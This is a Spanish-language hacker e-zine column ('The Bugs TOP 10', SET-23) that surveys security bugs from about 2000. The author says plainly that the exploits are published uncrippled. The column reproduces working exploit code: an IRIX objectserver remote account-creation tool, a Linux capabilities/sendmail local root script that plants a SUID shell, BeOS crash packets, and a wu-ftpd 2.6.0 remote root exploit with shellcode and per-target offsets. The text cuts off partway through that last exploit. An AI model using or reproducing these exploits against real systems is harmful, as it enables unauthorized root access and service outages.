-[ 0x0A ]-------------------------------------------------------------------- -[ The Bugs TOP 10 ]--------------------------------------------------------- -[ by Kriptik / Mortiis ]---------------------------------------------SET-23- The BUGS TOP 10 ----------------- Otro numero mas y otra entrega de bugs y exploits surgidos durante este tiempo. Como en anteriores numeros, no estan todos los que son, pero si son todos los que estan... con esto quiero decir que lo que teneis a continuacion solo es una pequeñisima muestra de la gran cantidad de fallos de seguridad que han aparecido en estos meses entre SET22 y SET23. Estamos en epoca de examenes, y los agobios y las prisas apremian, por lo que quiza con mas facilidad que en otros numeros me habre dejado importantes bugs en el tintero. Tan solo he intentado que no se me escaparan algunos bastante relevantes como los que afectan al sistema BeOs o a maquinas SGI. Tambien ha cambiado algo respecto a anteriores numeros. Todos los exploits que aparezcan NO van a estar capados. Tras bastante tiempo reflexionandolo he creido oportuno eliminar esa medida que se estaba tomando. Razones... simplemente que NO estoy para hace de NI~ERA de ningun ni~o consentido que no sabe siquiera lo que significa ese "printf()". Si alguien quiere usar exploits, los usara, las fuentes son demasiado conocidas, y si alguien los utiliza sin control y mal... sera su problema, no el mio. La informacion esta aqui... el sentido comun ahi fuera en ti, que lees esto. Sin mas ahi van: -( 0x01 )- Tema : Linux UDP Masquerading Para : Linux en general Patch : Actualizaciones del Kernel Debido a problemas de chequeo en el codigo del kernel para masquerading, cualquier atacante podria reescribir las entradas del Gateway UDP masquerading. ¿Que significa esto? El masquerading, propio de sistemas Linux, permite que todos los ordenadores de una red salgan con una misma IP, la del Gateway, de forma que con esta IP, podamos dar servicio a toda la red. ¿Como realiza esto? Pues para el trafico de salida de la red, sobreescribe la direccion del ordenador interno por la direccion del gateway; y el puerto, por un puerto que el masquerading reserva para estas conexiones, que se encuentra en el rango 61000 a 65096. Pero este fallo solo afecta al trafico de paquetes UDP, que afecta a servicios como el TFTP, DNS, Netbios... Vamos a ilustrar con un ejemplo. En el intervienen el Host A, que pertenece a nuestra red y un servidor DNS externo que es el Host D. La tabla se actualizara con una entrada tal que: Host A:1066 (64200) -> Host D:53 Lo que significa que el gateway va a utilizar su puerto 64200 para la conexion, y sobreescribira la direccion origen (del HOST A) por la suya en todos los paquetes de salida. Otra cosa a tener en cuenta es que como UDP no esta orientado a conexion, no hay forma de ver que la transmision se ha terminado, por lo que se deja un timeout de 5 minutos. Podemos aprovechar estos 5 minutos para explotar la vulnerabilidad que consiste en que solo se chequea el puerto de destino para ver si esta en la tabla de masquerading. Vamos que si dieramos con que es 64200 del ejemplo anterior, pues mandariamos un paquete al gateway a este puerto y se actualizaria la parte derecha de la tabla con nuestro host y puerto: Host A:1066 (64200) -> Host NUESTRO:XXXX ¿Y como podemos saber el puerto del gateway? Pues la forma es mandando paquetes a los diferentes puertos del gateway y observando el campo IP ID de las respuestas. Este campo se incrementa con cada paquete transmitido (en este caso por ellos, claro). Eso significa que si vas mandando un paquete a los diferentes puertos dentro del rango y ves que en uno de ellos hay una gran diferencia en este campo, habra una conexion. -( 0x02 )- Tema : Creacion de cuentas en SGI Para : eso mismo Patch : en principio actualizar, pero puedes instalar una version anterior. Este es un viejo conocido de los sistemas IRIX, que parecia parcheado en las ultimas versiones, ya que en anteriores haciendo uso de un exploit similar al que incluimos podiamos llegar a ganar privilegios de root remotamente. Ahora *solo* nos creamos una cuenta, pero ya se sabe q una cosa lleva a la otra... Los detalles.. en el codigo que se incluye. Se trata de un problema con el objectserver de Sillicon Graphics. Exploit: /* Copyright (c) July 1997 Last Stage of Delirium */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */ /* Last Stage of Delirium */ /* */ /* The contents of this file may be disclosed to third */ /* parties, copied and duplicated in any form, in whole */ /* or in part, without the prior written consent of LSD. */ /* SGI objectserver "account" exploit */ /* Remotely adds account to the IRIX system. */ /* Tested on IRIX 5.2, 5.3, 6.0.1, 6.1 and even 6.2, */ /* which was supposed to be free from this bug (SGI 19960101-01-PX). */ /* The vulnerability "was corrected" on 6.2 systems but */ /* SGI guys fucked up the job and it still can be exploited. */ /* The same considers patched 5.x,6.0.1 and 6.1 systems */ /* where SGI released patches DONT work. */ /* The only difference is that root account creation is blocked. */ /* */ /* usage: ob_account ipaddr [-u username] [-i userid] [-p] */ /* -i specify userid (other than 0) */ /* -u change the default added username */ /* -p probe if there's the objectserver running */ /* */ /* default account added : lsd */ /* default password : m4c10r4! */ /* default user home directory : /tmp/.new */ /* default userid : 0 */ #include #include #include #include #include #include #include #include #define E if(errno) perror(""); struct iovec iov[2]; struct msghdr msg; char buf1[1024],buf2[1024]; int sck; unsigned long adr; void show_msg(){ char *p,*p1; int i,j,c,d; c=0; printf("%04x ",iov[0].iov_len); p=(char*)iov[0].iov_base; for(i=0;i1){ for(i=0;i<(16-c);i++) printf(" "); for(i=0;i1){ for(i=0;i<(16-c);i++) printf(" "); for(i=0;i>8; dodaj_two[offset++]=userid&0xff; } else dodaj_two[offset++]=0x00; memcpy(&dodaj_two[offset],&dodaj_five[0],39); offset+=39; dodaj_one[10]=offset>>8; dodaj_one[11]=offset&0xff; new_account(offset); } } -( 0x03 )- Tema : Buffer Overflow en Webstar 4.0 Para : MacOS Patch : Utilizar linux como servidor, quiero decir, actualizar Creditos : Ilhom Djalilov Un buffer overflow en un sistema cuando menos curioso: MacOS. Alguien ha visto alguna máquina en internet haciendo de Webserver corriendo MacOS??. Bueno, si alguna encontrais, posiblemente este usando Webstar como servidor de Web, Mail o FTP. Bien, este programa sufre un DOS con una peticion en el puerto 80 del tipo: GET /estoesunmensajemuyyylargodealrededorede1kb.html; es facil deducir que tiene muchos boletos para ser una Buffer Overflow, pero por el momento aun no he encontrado ningun shellcode (ojo, que esto corre sobre PowerPC ;-)). -( 0x04 )- Tema : GNU/Linux Capabilities Bug Para : GNU/Linux 2.2.X (X<=15) GNU/Linux 2.3 (desarrollo) GNU/Linux 2.4.0-test1 GNU/Linux 2.1.15 y anteriores Patch : actualizar kernel, instalar LKM`s que lo eviten... Las capabilities fue una nueva incorporacion en los kernel 2.2.X, y que permite que un proceso que este corriendo como root, pueda abandonar sus privilegios y ejecutarse como un usuario normal X. Que uso tine esto? Pues por ejemplo que cuando el procmail vaya a ejecutarse con el .procmailrc o .forward de cada usuario, lo haga con los permisos del usuario y no como root. Asi se evita que gestione el correo con /bin/sh y encima sea de root ;). Pues la cosa es que el usuario puede deshabilitar esto, haciendo que se pierda el uid del usuario, pudiendo conseguir el root en ejecutables que corran como root/SUID (como sendmail...). Codigo para ver si eres vulnerable: --------blep.c-- #include #include int main(void) { if (geteuid()) { printf("Run me as root please\n"); exit(1); } printf("BEFORE: %d %d\n", getuid(), geteuid()); setuid(getuid()); printf("GAVE UP: %d %d\n", getuid(), geteuid()); setuid(0); printf("GOT BACK: %d %d\n", getuid(), geteuid()); if (!geteuid() || !getuid()) printf("PROBLEM!!\n"); return 0; } ----------- Codigo para ver como seria el exploit ------- suidcap.c #include #include #include #include #include _syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr); _syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr); typedef struct __user_cap_header_struct capheader_t; typedef struct __user_cap_data_struct capdata_t; void remove_cap(capdata_t *data, int cap) { data->effective &= ~(1 << cap); data->permitted &= ~(1 << cap); data->inheritable &= ~(1 << cap); } void cap_get(capheader_t *header, capdata_t *data) { if (capget(header, data) == 0) return; perror("capget"); exit(-1); } void cap_set(capheader_t *header, capdata_t *data) { if (capset(header, data) == 0) return; perror("capset"); exit(-1); } main() { capheader_t header; capdata_t data; header.version = _LINUX_CAPABILITY_VERSION; header.pid = 0; data.effective = data.permitted = data.inheritable = 0; cap_get(&header, &data); remove_cap(&data, CAP_SETUID); cap_set(&header, &data); printf("launching shell...\n"); execl("/bin/sh", "/bin/sh", NULL); perror("execl"); } --------------- FIN Y el exploit aprovechando el Sendmail <= 8.10.1 : ---- ESTE ES UN SHELL SCRIPT #!/bin/sh echo "+-----------------------------------------------------------+" echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |" echo "| local root exploit |" echo "| |" echo "| Bugs found and exploit written by Wojciech Purczynski |" echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |" echo "+-----------------------------------------------------------+" TMPDIR=/tmp/foo SUIDSHELL=/tmp/sh SHELL=/bin/tcsh umask 022 echo "Creating temporary directory" mkdir -p $TMPDIR cd $TMPDIR echo "Creating anti-noexec library (capdrop.c)" cat <<_FOE_ > capdrop.c #define __KERNEL__ #include #undef __KERNEL__ #include _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data) extern int capset(cap_user_header_t header, cap_user_data_t data); void unsetenv(const char*); void _init(void) { struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0}; struct __user_cap_data_struct capd={0, 0, 0xfffffe7f}; unsetenv("LD_PRELOAD"); capset(&caph, &capd); system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER"); } _FOE_ echo "Compiling anti-noexec library (capdrop.so)" cc capdrop.c -c -o capdrop.o ld -shared capdrop.o -o capdrop.so echo "Creating suid shell (sush.c)" cat <<_FOE_ > sush.c #include int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } _FOE_ echo "Compiling suid shell (sush.c)" cc sush.c -o $TMPDIR/sush echo "Creating shell script" cat <<_FOE_ >script mv $TMPDIR/sush $SUIDSHELL chown root.root $SUIDSHELL chmod 4111 $SUIDSHELL exit 0 _FOE_ echo "Creating own sm.cf" cat <<_FOE_ >$TMPDIR/sm.cf O QueueDirectory=$TMPDIR O ForwardPath=/no_forward_file S0 R\$* \$#local \$: \$1 Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script _FOE_ echo "Dropping CAP_SETUID and calling sendmail" export LD_PRELOAD=$TMPDIR/capdrop.so /bin/true unset LD_PRELOAD echo "Waiting for suid shell ($SUIDSHELL)" while [ ! -f $SUIDSHELL ]; do sleep 1; done echo "Removing everything" cd .. rm -fr $TMPDIR echo "Suid shell at $SUIDSHELL" $SUIDSHELL ------- FIN DE CODIGO -( 0x05 )- Tema : Matando procesos en BeOS Para : pos BeOS Patch : por ahora, nada, nadita. Se ha descubierto un grave fallo en la pila de protocolos de red de BeOs, el cual produce que el proceso asociado a dicah pila se suicide. Esto se produce cuando se envian ciertos paquetes mal generados a la susodicha pila. Incluimos un par de scripts que generan estos paquetes mal construidos. El primero es un paquete IP con el campo de protocolo marcado como TCP, en el cual si el campo de longitud de IP se pone como menor de 40, producira el suicidio. El otro, con la misma filosofia, se trata de un paquete IP con protocolo UDP, y marcado con longitud menor de 28. Estas longitudes de 40 y 28 son las minimas posibles, de ahi lo de paquetes mal construidos ;-). Soluciones.. esperar, Be, parece haber decidido no arreglar este fallo, puesto que la pila de protocolos va ha ser sustituida en breve totalmente en BeOS. Los Scripts CASL: Script 1: #!/usr/local/casl/bin/casl #include "tcpip.casl" #include "packets.casl" #include "tcp.casl" srchost = 10.0.0.1; dsthost = 10.0.0.2; IPH = copy UDPIP; IPH.ip_hl = 5; IPH.ip_src = srchost; IPH.ip_dst = dsthost; IPH.ip_length = 27; packet = [ IPH ]; ip_output(packet); Script 2: #!/usr/local/casl/bin/casl #include "tcpip.casl" #include "packets.casl" #include "tcp.casl" srchost = 10.0.0.1; dsthost = 10.0.0.2; IPH = copy TCPIP; IPH.ip_hl = 5; IPH.ip_src = srchost; IPH.ip_dst = dsthost; IPH.ip_length = 39; packet = [ IPH ]; ip_output(packet); URLs relacionadas: http://www.be.com/ - Be's website. BeOS is available for download free of charge. http://bebugs.be.com/devbugs/ - Be's bug tracking database. http://expert.cc.purdue.edu/~frantzen/ - The homepage of the ISIC author. ftp://ftp.nai.com/pub/security/casl/ - NAI's packet scripting language CASL is available for download free of charge. -( 0x06 )- Tema : Tirando el sistema BeOS Para : BeOS que viene, BeOS que va... ( R4.5.x , R5.0 ) Patch : ajo y agua El sistema BeOS se cae cuando se hace una llamada de sistema con parametros incorrectos. Por ejemplo realizando llamadas directas al kernel (sin las libroot.so) a traves de la interrupcion 0x25 con parametros incorrectos (o una confeccion erronea de los parametros metidos en la pila). Este Bug afecta a la R5.0 asi como a todos los R4.5.x. Aun no se ha dado solucion a este bug, dado q requiere una modificacion directa en el kernel del sistema. Incluimos un ejemplo de codigo en ASM que haria que el sistema BeOs se quedara colgado: section .text global _start _start: push dword msg push dword len push dword 1 ;stdout mov eax,3 ;sys_write int 0x25 ;must be a *call* to int 0x25, ;then everything goes ok; i.e. ;return address must be on the stack, ;but it is not mov eax,0x3f ;sys_exit int 0x25 msg db "hello",0xa len equ $ - msg (source and binary can be downloaded at http://linuxassembly.org/BeDie.tgz) URLs Relacionadas: http://bebugs.be.com/devbugs/detail.php3?oid=2324160 http://www.escribe.com/software/bedevtalk/ - BeDevTalk archives (Feb-Mar 2000, search for topics "assembly & BeOS", "system calls", "system call stress testing" http://linuxassembly.org - Linux/UNIX assembly programming portal -( 0x07 )- Tema : Conseguir "root" en Turbolinux 6.0.2 y anteriores Para : para la distro mas rapida Patch : pasa desde actualizar, cambiarte de distro, incluso dejar el curro y dedicarte a cultivar el campo. Fecha : Enero 2000 Creditos : Dildog (L0pth) Como ya ocurrio con RedHat 6.0, aparece un bug que nos permite conseguir root de forma local gracias a que PAM y USERMODE nos permiten seguir rutas del tipo ../../... Para que este bug este presente deben estar los paquetes: pam-0.70-2 y anteriores; usermode-1.6-1 y anteriores. Para mas informacion y exploit, remitirse al anterior numero de SET, o a la web de L0pht. Solucion: actualizar los paquetes de pam y usermode. ftp://ftp.turbolinux.com/pub/updates/6.0/security/pam-0.72-3.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/security/usermode-1.18-1.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-3.src.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/usermode-1.18-1.src.rpm -( 0x08 )- Tema : Root Exploit Remoto en WuFTPD 2.6.0 Para : OpenLinux Desktop 2.3 (with wu-ftpd-2.5.0-7 and prior) OpenLinux eServer 2.3 (with wu-ftpd-2.5.0-7 and prior) OpenLinux eBuilder 2.3 (with wu-ftpd-2.5.0-7 and prior) OpenLinux eDesktop 2.4 (with wu-ftpd-2.5.0-7 and prior) Conectiva Linux servidor-1.0 Conectiva Linux 3.0 Conectiva Linux 4.0 Conectiva Linux 4.0es Conectiva Linux 4.1 Conectiva Linux 4.2 5.0 Debian GNU/Linux 2.1 (slink, potato and woody) Red Hat Linux 5.2 - i386 alpha sparc Red Hat Linux 6.2 - i386 alpha sparc Patch : actualizar el exploit o www.proftpd.net Este es el tipico bug que pa que explicar. En el WuFTPD la tradicion manda y aqui tenemos un buffer overflow en toda regla utilizando el ya mitico site exec. Solucion: Ya da que pensar si actualizar o cambiarse, porque lo del WuFTPD esta haciendo historia (peor que el Sendmail en sus a~os mozos). Para los que querais actualizar, pues conectaros al ftp de vuestra distro/SO. Aqui esta el codigo para: RedHat 6.2 (?) com wuftpd 2.6.0(1) de rpm RedHat 6.2 (Zoot) con wuftpd 2.6.0(1) de rpm SuSe 6.3 con wuftpd 2.6.0(1) de rpm SuSe 6.4 con wuftpd 2.6.0(1) de rpm RedHat 6.2 (Zoot) con wuftpd 2.6.0(1) de rpm FreeBSD 3.4-STABLE con wuftpd 2.6.0(1) de ports FreeBSD 3.4-STABLE con wuftpd 2.6.0(1) de packages FreeBSD 3.4-RELEASE con wuftpd 2.6.0(1) de ports FreeBSD 4.0-RELEASE con wuftpd 2.6.0(1) de packages , pa ver como va el exploit: /* h0h0 aye-dee-emm's 0d4y w4r3z 1z unbr0k3n f0r y0u p30pl3 n0w */ /* * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT * by tf8 * * *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be * released (2.6.0 is the most popular version nowadays), and it * should suffice to proof this vulnerability concept. * * Site exec was never really *fixed* * * Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit, * \x90, venglin, xz, MYT and lamagra. * Also greetings go to the WU-FTPD development team for including this * bug in ALL their versions. * * Fuck to wuuru (he is an idiot) * * Account is not required, anonymous access is enough :) * * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 */ #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __linux #include #endif #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) #define GREEN "\033[32m" #define RED "\033[31m" #define NORM "\033[0m" char infin_loop[]= /* for testing purposes */ "\xEB\xFE"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0" "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80" "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9" "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75" "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd" "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46" "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53" "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30" "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e" "\x67\x6c\x69\x6e"; char bsd_code_d[]= /* you should call it directly (no jump/call)*/ "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C" "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF" "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8" "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14" "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11" "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F" "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9" "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11" "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9" "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86" "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF"; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; #define MAX_FAILED 4 #define MAX_MAGIC 100 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL,*username="ftp",*password=NULL; struct targets getit; struct targets { int def; char *os_descr, *shellcode; int delay; u_long pass_addr, addr_ret_addr; int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux; }; struct targets targ[]={ {0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1}, {1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1}, {2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1}, {3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1}, {4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1}, {5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0}, {6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0}, {7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0}, {8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0}, {0,NULL,NULL,0,0,0,{0},{0},0} }; void usage(char*zu,int q){ int i, n, padding; fprintf(stderr,"Usage: %s -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n" " [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n" "target : host with any wuftpd\nuser : anonymous user\n" "dir : if not anonymous user, you need to have writable directory\n" "magic_str : magic string (see exploit description)\n-g : enables magic string digging\n" "-x : enables test mode\npass_addr : pointer to setproctitle argument\n" "ret_addr : this is pointer to shellcode\nsystypes: \n",zu); for(i=0;targ[i].os_descr!=NULL;i++){ padding=0; fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr); if(q>1){ fprintf(stderr," Magic ID: ["); for(n=0;targ[i].magic[n]!=0;n++){ if(targ[i].magic_d[n]==4) padding=targ[i].magic[n]; fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]); if(targ[i].magic[n+1]!=0) fprintf(stderr,":"); } fprintf(stderr,"] Padding: %d\n",padding); fflush(stderr); } } exit(1); } int connect_to_server(char*host){ struct hostent *hp; struct sockaddr_in cl; int sock; if(host==NULL||*host==(char)0){ fprintf(stderr,"Invalid hostname\n"); exit(1); } if((cl.sin_addr.s_addr=inet_addr(host))==-1) { if((hp=gethostbyname(host))==NULL) { fprintf(stderr,"Cannot resolve %s\n",host); exit(1); } memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr)); } if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){ fprintf(stderr,"Error creating socket: %s\n",strerror(errno)); exit(1); } cl.sin_family=PF_INET; cl.sin_port=htons(21); if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){ fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno)); exit(1); } return sock; } int ftp_recv(int sock,char*buf,int buf_size,int disc){ int n=0; char q; if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n'); else { (void)bzero(buf,buf_size); n=recv(sock,buf,buf_size,0); if(n<0){ fprintf(stderr,"ftp_recv: recv failed\n"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){ int n; n=send(sock,what,size,0); if(n!=size){ fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){ ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,"200-",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,"200-",4)){ fprintf(stderr,"Cannot find site exec response string\n"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf("loggin into system..\n"); snprintf(buff,2047,"USER %s\r\n", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN"USER %s\n"NORM"%s",u_name,buff); snprintf(buff,2047,"PASS %s\r\n",u_pass); printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"":u_pass); ftp_send(sock,buff,strlen(buff),1,buff,2047); while(strstr(buff,"230 ")==NULL){ (void)bzero(buff,2048); ftp_recv(sock,buff,2048,0); } printf("%s",buff); return; } void ftp_mkchdir(int sock,char*cd,char*new) { char buff[2048]; sprintf(buff,"CWD %s\r\n",cd); printf(GREEN"%s"NORM,buff); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf("%s",buff); sprintf(buff,"MKD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"MKD "NORM"\n%s",buff); sprintf(buff,"CWD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"CWD "NORM"\n%s",buff); return; } void process_possibly_rooted(int sock) { fd_set fd_read; char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0){ fprintf(stderr, "EOF\n"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,"Connection aborted, select failed()\n"); exit(0); } int magic_check_f(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec(sock, q, strlen(q), 1, ans, 2048); if( before_len+10 < strlen(&ans[3]) ) return 0; before_len=strlen(&ans[3]); (void)strcat(str,"%.f"); return 1; } int magic_check_o(int sock, char *str) { char q[2048], ans[2048]; snprintf(q, 2048, "site exec %s%s\r\n", str, "%c"); if( strstr( q, "\r\n") == NULL) { fprintf(stderr,"Line TOO big..\n"); exit(-1); } ftp_siteexec( sock, q, strlen(q), 1, ans, 2048); if( before_len== strlen(&ans[3]) ) { before_len+=1; (void)strcat(str, "%d"); return 3; } before_len=strlen(&ans[3]); (void)strcat(str,"%c"); return 2; } int magic_check_ok( int sock, char *str) { char q[2048], ans[2048]; int i ,n=1, f, padding=0; snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p"); if ( strstr(q, "\r\n" ) == NULL) { fprintf(stderr, "Line too long\n"); exit(-1); } (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if(strstr(ans,"0x61616161")==NULL) return 0; for(i =0; i < MAX_MAGIC && magic[i]; i++); magic_d[i]=4; while(n){ for(f=0; f< 2; f++) { snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p"); (void)bzero(ans, 2048); ftp_siteexec(sock, q, strlen(q), 1, ans, 2047); if( strstr(ans, "0x61616161")!=NULL) { if (f==0) { magic[i]=padding; return 1; } else if( f==1) { strcat(str,"%p"); magic[i]=padding; return 1; } } } if(padding > 4) { fprintf(stderr,"Cannot calculate padding..\n"); exit(1); } padding++; } return 1; } int magic_digger(int sock) { int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0; if(magic_str==NULL){ if((magic_str=(char*)malloc(4092))==NULL){ perror("malloc"); exit(errno); } } (void)bzero(magic_str, 4092); where=0; while(get_out) { int q; if( where >= MAX_MAGIC-1 || all_failed <= 0 ) return -1; if( magic_check_f(sock, magic_str) ) { o=0,f++; if(f==1){ if(!magic[where]) magic[where]=1; else magic[++where]+=1; magic_d[where]=1; } else magic[where]+=1; all_failed=MAX_FAILED*2; printf("%s", "%.f"); fflush(stdout); goto verify; } all_failed--; if((q=magic_check_o(sock,magic_str))){ f=0,o++; if(o==1){ if(!magic[where]) magic[0]=1; else magic[++where]+=1; magic_d[where]=q; } else { if(magic_d[where]==q) magic[where]+=1; else { magic[++where]=1; 